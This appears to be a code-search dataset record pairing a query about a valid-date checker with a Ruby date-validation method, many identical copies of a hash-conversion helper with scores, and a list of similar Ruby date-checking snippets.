"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end",
"def _to_hash(value)\n if value.is_a?(Array)\n value.compact.map { |v| _to_hash(v) }\n elsif value.is_a?(Hash)\n {}.tap do |hash|\n value.each { |k, v| hash[k] = _to_hash(v) }\n end\n elsif value.respond_to? :to_hash\n value.to_hash\n else\n value\n end\n end"
] | [
"0.59822595",
"0.5768418",
"0.5669697",
"0.5562936",
"0.5486832",
"0.54643476",
"0.54540086",
"0.54345524",
"0.5422187",
"0.53767693",
"0.5364814",
"0.53512686",
"0.5336543",
"0.533401",
"0.5325592",
"0.5311765",
"0.5310388",
"0.5308666",
"0.5308666",
"0.5294049",
"0.52517307",
"0.52457345",
"0.5221705",
"0.5221705",
"0.5192892",
"0.5165339",
"0.5161118",
"0.5158137",
"0.5152972",
"0.51527673",
"0.51527673",
"0.51483834",
"0.51483834",
"0.51483834",
"0.51483834",
"0.51483834",
"0.514606",
"0.514263",
"0.51328367",
"0.51328367",
"0.51255614",
"0.512527",
"0.50836945",
"0.505191",
"0.505191",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217",
"0.5051217"
] | 0.7826414 | 0 |
VALID DATE CHECKER, modified accordingly from source Credit: Gabe Hollombe, brettish Source: Source: | def validDate
if (Date.parse(startDate.to_s) rescue ArgumentError) == ArgumentError
errors.add(:startDate, 'must be a valid date')
elsif (Date.parse(endDate.to_s) rescue ArgumentError) == ArgumentError
errors.add(:endDate, 'must be a valid date')
elsif startDate >= endDate
errors.add(:endDate, 'must be after start date')
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def check_date\n\t\tif self.hasError\n\t\t\terrors.add(\"\", \"You entered Invalid date: \\n - \"+self.interviewer.name)\n\t\t\t# puts \"===================CHECKDATE===================\"\n\t\telsif Time.at(self.sched_end.to_i) <= Time.at(self.sched_start.to_i)\n\t\t\terrors.add(\"\", \"Start time cannot be greater than end time \\n - \"+self.interviewer.name)\n\t\tend\n\tend",
"def check_valid_date(date)\n status = false\n if date.count('/') == 2\n removed_slash_day = date.tr('/', '')\n unless removed_slash_day =~ /\\D/\n if (8..10).include? date.length\n month_31days = [1, 3, 5, 7, 8, 10, 12]\n month_30days = [4, 6, 9, 11]\n first_slash_index = date.index('/')\n second_slash_index = date.rindex('/')\n\n dd_length = first_slash_index\n mm_length = second_slash_index - first_slash_index - 1\n yyyy_length = date.length - second_slash_index - 1\n\n dd = date.slice(0, dd_length).to_i\n mm = date.slice(first_slash_index + 1, mm_length).to_i\n yyyy = date.slice(second_slash_index + 1, yyyy_length).to_i\n\n if yyyy.to_s.length == 4\n if month_31days.include? mm\n status = true if dd >= 1 && dd <= 31\n elsif month_30days.include? mm\n status = true if dd >= 1 && dd <= 30\n elsif mm == 2\n if yyyy % 4 == 0\n status = true if dd >= 1 && dd <= 29\n else\n status = true if dd >= 1 && dd <= 28\n end\n end\n end\n end\n end\n end\n status\n end",
"def warn_invalid_date; end",
"def validate_date(input_date) \n too_early = Date.parse(\"31 December 2019\")\n too_late = (Date.today)+1\n raise DateError unless ((input_date > too_early) && (input_date < too_late))\n end",
"def is_date_valid?\n\t\tunless self.date_of_booking >= Time.zone.now.beginning_of_day \n\t\t\tself.errors[:date_validation] << \"=> You can't book resource for previous day\"\n\t\tend\n\tend",
"def validate_date(spreadsheet_id)\n date = get_date_array(spreadsheet_id)\n if date[0].to_i >= 1 and date[0].to_i <= 12 and date[1].to_i == 1 and date[2].to_i >= 2016 and get_start_day(date[3]) != nil\n return true\n else\n return false\n end\nend",
"def check_date(dt)\n\t# Delimit the string using the slash character: \"/\"\n\tdelimited_date = dt.split('/')\n=begin\n\tPrecondition\n\tIf the delimited date does not have three arguments for month, day,\n\tand year, indicate that the date is invalid\n=end\n\tif 3 > delimited_date.length\n\t\traise \"Invalid date has less than 3 fields.\"\n\tend\n\t\n\t# Check if month is less than 1, or greater than 12\n\tif (1 > delimited_date[0].to_i) or ($num_mths < delimited_date[0].to_i)\n\t\traise \"Values for month in the date must lie between 1 and 12, inclusive.\"\n\tend\n\t\n\t# Check if day is less than 1, or greater than 31\n\tif (1 > delimited_date[1].to_i) or ($num_days_31mth < delimited_date[1].to_i)\n\t\traise \"Values for day in the date must lie between 1 and 31, inclusive.\"\n\tend\n\t\n\t# If the month is Feb, check if day > 29\n\tif ($index_of_feb == delimited_date[0].to_i) and ($num_mths < delimited_date[1].to_i)\n\t\traise \"Day in the date must be < 30 for February.\"\n\tend\n\t\n\t# If the month is Feb and it is not a leap year, check if day > 29\n\tif ($index_of_feb == delimited_date[0].to_i) and (0 != (delimited_date[2].to_i).modulo($leap_num_yr)) and ($num_days_28feb < delimited_date[1].to_i)\n\t\tputs \"delimited_date[0].to_i).modulo(4)::\"+delimited_date[0].to_i.modulo($leap_num_yr).to_s\n\t\traise \"Day in the date must be < 29 for February when it is not a leap year.\"\n\tend\n\t\n\t# Check if a 30-day month has been indicated with >30 days\n\tif ($mth30.include?(delimited_date[0].to_i)) and ($num_days_30mth < delimited_date[1].to_i)\n\t\traise \"Selected month \"+delimited_date[0]+\" should not have >30 days.\"\n\tend\n\t\n\t# Check if year < 2009\n\tif 2009 > delimited_date[2].to_i\n\t\traise \"Values for year must be after 2008.\"\n\tend\n\t\n\t# Extract the current day, month, and year\n\textract_day_mth_yr(dt)\nend",
"def is_valid(year, month, date)\n @yearnew = year.to_i\n @month = month.to_i\n @date = date.to_i\n if @month > 0 && @month < 13 && @date <= 31\n if @month == 2\n if @yearnew % 400 == 0 && @date <= 29\n return true\n elsif @yearnew % 4 == 0 && @yearnew % 100 != 0 && @date <= 29\n return true\n elsif @date <= 28\n return true\n else\n err_code\n end\n elsif @month == 4 || @month == 6 ||\t@month == 9 || @month == 11 && @date > 30\n err_code\n end\n else\n err_code\n end\n end",
"def date_valid?(date)\n valid_dates = Date.parse(DATA_START_DATE)..Date.today\n if valid_dates.cover?(date)\n return true\n else\n puts \"\\nDate must be after #{DATA_START_DATE} and before today.\"\n return false\n end\nend",
"def validateDate(date)\n\n year = '[1-2][90][0-9][0-9]'\n month = '0[1-9]|10|11|12'\n day = '[1-9]|0[1-9]|1[0-9]|2[0-9]|3[0-1]'\n hour = '[0-1][0-9]|2[0-3]|[1-9]'\n minute = '[0-5][0-9]'\n second = '[0-5][0-9]'\n case date\n when /^(#{year})(#{month})(#{day})$/\n identifiedDate = $1 + ':' + $2 + ':' + $3 + ' 00:00:00'\n when /^(#{year})(#{month})(#{day})(#{hour})(#{minute})(#{second})$/\n identifiedDate = $1 + ':' + $2 + ':' + $3 + ' ' + $4 + ':' + $5 + ':' + $6\n when /^(#{year})[\\:|\\.|\\-](#{month})[\\:|\\.|\\-](#{day})\\s(#{hour})[\\:](#{minute})[\\:](#{second})$/\n identifiedDate = $1 + ':' + $2 + ':' + $3 + ' ' + $4 + ':' + $5 + ':' + $6\n when /^(#{year})[\\:|\\.|\\-](#{month})[\\:|\\.|\\-](#{day})$/\n day = \"%02d\" % $3\n month = \"%02d\" % $2\n\n # Return the identified string\n $1 + ':' + month + ':' + day + ' 00:00:00'\n\n else\n\n # This wasn't a date we recognize\n false\n\n end\n end",
"def date_verify\n if end_date && start_date.nil?\n errors.add(:end_date, \"cannot only specify end date\")\n elsif all_day && start_date.nil?\n errors.add(:all_day, \"cannot specify without date\")\n elsif (start_date && end_date) && (start_date > end_date)\n errors.add(:start_date, \"cannot larger than end date\")\n end\n end",
"def check_date_format(date,format)\n return \"No date\" if date.nil?\n return \"INVALID DATE\" if date !~ /^[0-9-]+$/\n date_hash = Hash.new\n \n date_array = date.scan(/[\\w]+/)\n format_array = format.scan(/[\\w]+/)\n \n date_hash[format_array[0]] = date_array[0].to_i\n date_hash[format_array[1]] = date_array[1].to_i\n date_hash[format_array[2]] = date_array[2].to_i\n \n #p date_hash\n \n return \"INVALID DATE. Must be in [1..31]\" unless (1..31)===date_hash[\"dd\"]\n return \"INVALID MONTH. Must be in [1..12]\" unless (1..12)===date_hash[\"mm\"]\n return \"YEAR MUST BE 4 DIGITS\" unless date_hash[\"yyyy\"].to_s.length ==4\n \n #feb\n if date_hash[\"mm\"] ==2\n if date_hash[\"dd\"] ==29 and date_hash[\"yyyy\"]%4!=0\n return \"NOT A LEAP YEAR\"\n elsif (1..28)===date_hash[\"dd\"]\n return \"INVALID DATE. Must be in [1..28]\"\n else return \"INVALID DATE. February can't have more than 29 days.\" if date_hash[\"dd\"]>29\n end\n end \n \n #30days month\n unless [1,3,5,7,8,10,12].include?date_hash[\"mm\"]\n return \"INVALID DATE. Must be in [1..30]\" if date_hash[\"dd\"]==31\n end \n return nil\nend",
"def validate_dated_around_now\n self.errors.add(:exam_date, \"ist kein korrektes Datum, bitte versuche es erneut.\") unless ((Date.today)..(5.years.from_now)).include?(self.exam_date)\n end",
"def validate_dated_around_now\n self.errors.add(:exam_date, \"ist kein korrektes Datum, bitte versuche es erneut.\") unless ((Date.today)..(5.years.from_now)).include?(self.exam_date)\n end",
"def warn_invalid_date=(_arg0); end",
"def verifyCalendarDate\n # Make sure the given year is not less than 1900.\n if @year < 1900\n @year = 1900\n end\n\n # Make sure the month is within range.\n if @month > 12\n @month = 12\n end\n if @month < 1\n @month = 1\n end\n\n # Make sure the day given is within range of the month.\n month_length = CDK::CALENDAR.getMonthLength(@year, @month)\n if @day < 1\n @day = 1\n end\n if @day > month_length\n @day = month_length\n end\n end",
"def date_is_valid\n if !date.is_a? Date\n errors.add :date, I18n.t('activerecord.errors.invalid_date_format')\n elsif date.to_date > Date.today\n errors.add :date, I18n.t('activerecord.errors.future_date')\n end\n end",
"def valid_date(month, date, year)\n if date > 31\n false\n elsif month > 12\n false\n elsif month==4 || month==6 || month==9 || month==11 && date >30\n false\n elsif month==2 && date >28\n false\n elsif year %4 ==0 && month ==2 && date >29\n false\n else\n true\n end\nend",
"def initial_call_off_start_date_valid_date\n Date.parse(\"#{initial_call_off_start_date_dd.to_i}/#{initial_call_off_start_date_mm.to_i}/#{initial_call_off_start_date_yyyy.to_i}\")\n rescue ArgumentError\n errors.add(:initial_call_off_start_date, :not_a_date)\n end",
"def date_valid?(date)\n\tvalid_dates = Date.parse(DATA_START_DATE)..Date.today\n\tif valid_dates.cover?(date)\n\t\treturn true\n\telse\n\t\tputs \"\\n Date must be after #{DATA_START_DATE} and before today.\"\n\t\treturn false\n\tend\nend",
"def valid_date?\n !!(params[:date].match(/\\d{4}-(0[1-9]|1[0-2])-\\d{2}/)) && Date.parse(params[:date]) rescue false \n end",
"def extention_valid_date\n if service_learning_risk_date_extention?\n if service_learning_risk_date > DateTime.new(service_learning_risk_date.year, 9, 1) \n DateTime.new(service_learning_risk_date.year.next, 9, 1)\n else \n DateTime.new(service_learning_risk_date.year, 9, 1)\n end\n end\n end",
"def valid_dates\n device_request = DeviceRequest.find(device_request_id)\n current_date = Date.today\n if self.on_date.present?\n self.errors.add :on_date, \"Quotation date can't be future\" if self.on_date > current_date\n self.errors.add :on_date, \"Quotation date should be onwards #{device_request.on_date}\" if self.on_date < device_request.on_date\n end\n end",
"def verify_foundation_date(test_data)\n errors = []\n text_values_match?(test_data[Org::FOUNDING_DATE.name], element_value(foundation_date_input), errors)\n errors\n end",
"def validDate\n if (Date.parse(last_reminder.to_s) rescue ArgumentError) == ArgumentError\n errors.add(:last_reminder, 'must be a valid date')\n end\n end",
"def valid_date?(date)\n date =~ %r(\\A\\d{4}\\/\\d{1,2}\\/\\d{1,2}\\z)\n end",
"def check_date_format\n err = \"is not valid date.\"\n errors[\"from_date\"] << err unless is_date(from_date)\n errors[\"to_date\"] << err if(to_date.present? && !is_date(to_date))\n end",
"def verify_date_requested(test_data)\n verify_values_match(test_data[UseOfCollections::DATE_REQUESTED.name], element_value(date_requested_input))\n end",
"def valid_date(date)\n date_regex = APP_CONFIG['ui']['dates']['regex']\n\n return !/#{date_regex}/.match(date.downcase).nil?\n end",
"def dates_sequence\n [:fpfv, :lplv, :expected_db_lock].each do |d|\n unless send(d).instance_of?(Date)\n errors.add(d, \"Must be valid Date\")\n return false\n end\n end\n\n unless fpfv < lplv\n errors.add(:fpfv, \"Must be less than lplv\")\n return false\n end\n\n unless expected_db_lock > lplv\n errors.add(:expected_db_lock, \"Must be greater than lplv\")\n return false\n end\n\n return true\n end",
"def verify_date_requested(test_data)\n verify_values_match(test_data[CoreUseOfCollectionsData::DATE_REQUESTED.name], element_value(date_requested_input))\n end",
"def is_a_valid_date\n errors.add(:birthdate, \"is not a valid date.\") if birthdate.present? and birthdate > Date.current\n end",
"def has_valid_date?\n self.time_event < Time.now.advance(days: 1)\n end",
"def date_validation\n\t\tif start_date >= end_date\n \t\terrors.add(:end_date, \"must be greater than start date\")\n \tend\n end",
"def date_restricted?\n\n now = Date.today\n\n !((valid_from.nil? or now >= valid_from) and (valid_until.nil? or now <= valid_until))\n\n end",
"def check_dates\n # TODO the init_time must be less then the end_time\n true\n end",
"def dates_valid?\n date_check(params[:start_date]) && date_check(params[:end_date]) && dates_sequential?\n end",
"def validate_date\n if params[:date_posted].blank?\n update_error('date_posted', 'Please enter a date.')\n elsif date_posted.nil?\n update_error('date_posted',\n 'We could not parse the date you entered. Please use the format \"yyyy-mm-dd\".')\n else\n year = date_posted.year\n # FIXME: This is not very DRY, as Txaction does this validation. We should\n # probably move date validation to the Txaction model\n if year < 1920 || year > 9999\n update_error('date_posted', \"The date is not valid. Please enter a year between 1920 and 9999.\")\n end\n end\n end",
"def validate_date\n if self.date.present? && self.date < Date.today\n errors.add(:date, \"can't be in the past\")\n end\n end",
"def validate_published_on\n date_parts = [year, month, day].reject(&:blank?)\n published_on = Date.new(*date_parts)\n if published_on > Time.zone.now.to_date\n errors.add :published_on, \"is a date in the future\"\n elsif published_on < Date.new(1650)\n errors.add :published_on, \"is before 1650\"\n else\n write_attribute(:published_on, published_on)\n end\n rescue ArgumentError\n errors.add :published_on, \"is not a valid date\"\n end",
"def validacion_fecha\n if !check_in.blank? && check_in < Date.today\n errors.add(:check_in, \"menor a fecha actual\")\n \t elsif !check_out.blank? && check_out < Date.today\n \t errors.add(:check_out, \" menor a fecha actual\")\n \t elsif !check_out.blank? && check_out < check_in\n \t errors.add(:check_out, \"no puede ser menor al check_in\")\t\n end\n end",
"def valid_mmddyyyy_date_format?(date)\n is_valid_data_with_format?(date, /^(0[1-9]|1[012])[- \\/.](0[1-9]|[12][0-9]|3[01])[- \\/.](19|20)\\d\\d$/, \"Date\")\nend",
"def invalid_checkin_checkout\n if !self.checkin.nil? && !self.checkout.nil?\n if self.checkin >= self.checkout \n errors.add(:invalid_dates, \"Dates are invalid\")\n end\n end\n end",
"def valid_date?\n errors.add(:date, \"can't be in the past\") if !date.blank? and date < Date.today\n end",
"def date_combination_valid\n\n # just make sure we work on something valid and existing\n\n return false unless date_from?\n\n set_nil_default( :date_until, date_from )\n\n if date_until < date_from\n errors.add( :date_until, I18n.t( 'holidays.msg.bad_period' ))\n return false\n end\n\n if date_from.year != date_until.year\n errors.add( :date_until, I18n.t( 'holidays.msg.bad_years' ))\n return false\n end\n\n # all tests passed\n\n write_attribute( :year_period, date_from.year )\n return true\n end",
"def verify_dissolution_date(test_data)\n errors = []\n text_values_match?(test_data[Org::DISSOLUTION_DATE.name], element_value(dissolution_date_input), errors)\n errors\n end",
"def validate_date?(start_date,end_date)\n\t\tstart_date <= end_date\n\tend",
"def valid_release_date?(date)\n # Validate date against all release date requirements\n check_no_delay_requirements(date) && check_before_date_requirements(date) && check_fixed_date_requirements(date)\n end",
"def valid_date\n\n array_30 = [4, 6, 9, 11]\n array_31 = [1, 3, 5, 7, 8, 10, 12]\n\n puts \"Enter a month\"\n month = gets.chomp.to_i\n\n puts \"Enter a day\"\n day = gets.chomp.to_i\n\n puts \"Enter a year\"\n year = gets.chomp.to_i\n\n if month < 1 || month > 12\n puts \"Invalid Month\"\n elsif month == 2 && (day < 1 || day > 29)\n puts \"Invalid Day\"\n elsif month == 2 && day == 29 && (year % 4 != 0 && year % 400 != 0)\n puts \"Invalid Day\"\n elsif array_30.include?(month) && (day < 1 || day > 30)\n puts \"Invalid Day\"\n elsif array_31.include?(month) && (day < 1 || day > 31)\n puts \"Invalid Day\"\n elsif year > 2018 || year < 1000\n puts \"Invalid Year\"\n else\n puts \"This is a valid date!\"\n end\n\nend",
"def valid_ddmmyyyy_date_format?(date)\n is_valid_data_with_format?(date, /^(0[1-9]|[12][0-9]|3[01])[- \\/.](0[1-9]|1[012])[- \\/.](19|20)\\d\\d$/, \"Date\")\nend",
"def valid_lottery_date\n begin\n USDateParse(self.lottery_deadline)\n rescue\n errors.add(:lottery_deadline, 'The lottery deadline could not be parsed.')\n end\n end",
"def check_dates_are_valid\n if @start_date.present? && @end_date.present?\n errors.add(:end_date, \"can't be before the start date\") if @end_date < @start_date\n end\n end",
"def check_dates_are_valid\n if @start_date.present? && @end_date.present?\n errors.add(:end_date, \"can't be before the start date\") if @end_date < @start_date\n end\n end",
"def valid_expiry_date?\n return true if self.cc_expiry.blank?\n \n # check format\n return false unless self.cc_expiry.match(/^\\d{4}$/)\n \n # check date is not in past\n year, month = self.cc_expiry[2..3].to_i, self.cc_expiry[0..1].to_i\n year += (year > 79) ? 1900 : 2000\n\n \t\t# CC is still considered valid during the month of expiry,\n \t\t# so just compare year and month, ignoring the rest.\n \t\tnow = DateTime.now\n return ((1..12) === month) && DateTime.new(year, month) >= DateTime.new(now.year, now.month)\n end",
"def check_date(date)\n check = /^\\d{2}\\/\\d{2}\\/\\d{4}/\n unless date =~ check\n return ''\n else\n return date\n end\n end",
"def check_in_date\n check_in && Date.parse(check_in)\n rescue ArgumentError\n # check-in parameter is not a valid date\n end",
"def valid_dates\n if !start_date or start_date.month != 1 or start_date.day != 1\n errors.add(\"start_date\", \"Start date must be January 1st\")\n end\n if !end_date or end_date.month != 12 or end_date.day != 31\n errors.add(\"end_date\", \"End date must be December 31st\")\n end\n end",
"def date_restrictable_must_be_chronological\n\n # bounce unless we have both dates\n return if valid_from.blank? or valid_until.blank?\n\n # otherwise…\n unless valid_until.to_date >= valid_from.to_date\n\n field_name = self.class.human_attribute_name( :valid_from )\n errors.add( :valid_until, :must_be_on_or_after, { field: field_name })\n\n end\n\n end",
"def test_validate_valid_date\n g = GradeEntryForm.new(short_identifier: 'T1',\n date: 1.day.from_now,\n is_hidden: false)\n assert g.valid?\n end",
"def date_valid? ( date_in_str )\n regex = /\\A\\d{2}\\.\\d{2}\\.\\d{4}\\z/ # 2 digits.2 digits.4 digits\n\n if date_in_str =~ regex\n date_to_parse = date_in_str.gsub('.', '/') # Using / instead of . because such version can pe parsed\n begin\n date = Date.strptime( date_to_parse, '%d/%m/%Y' )\n Date.parse( date.to_s )\n return true\n rescue\n return false\n end\n else\n return false\n end\n end",
"def vulnerable?(dates=@@OPEN_DATES)\n cves(dates).any?\n end",
"def isValidDate(day, month, year)\n if((day.is_a? Integer) && (month.is_a? Integer) && (year.is_a? Integer))\n max_day = 31\n if((month >= 1) && (month <= 12))\n case month\n when 2\n max_day = 28\n when 4, 6, 9, 11\n max_day = 30\n end\n\n if((day >= 1) && (day <= max_day))\n puts \"La date est valide.\"\n else puts \"Le jour de la date n'est pas correct avec le mois.\"\n end\n\n else puts \"Le mois de la date n'est pas correct.\"\n end\n else puts \"La date n'est pas correcte.\"\n end\nend",
"def registration_date_is_valid?\n begin\n USDateParse(self.registration_deadline)\n rescue\n return false\n end\n return true\n end",
"def validate_dates(dates)\n date_format = /(2009|201[0-5])-(0[1-9]|1[0-2])-(0[1-9]|[12][0-9]|3[01])/\n dates.each do |d|\n date_format.match(d).nil? \\\n ? false : true\n end\n end",
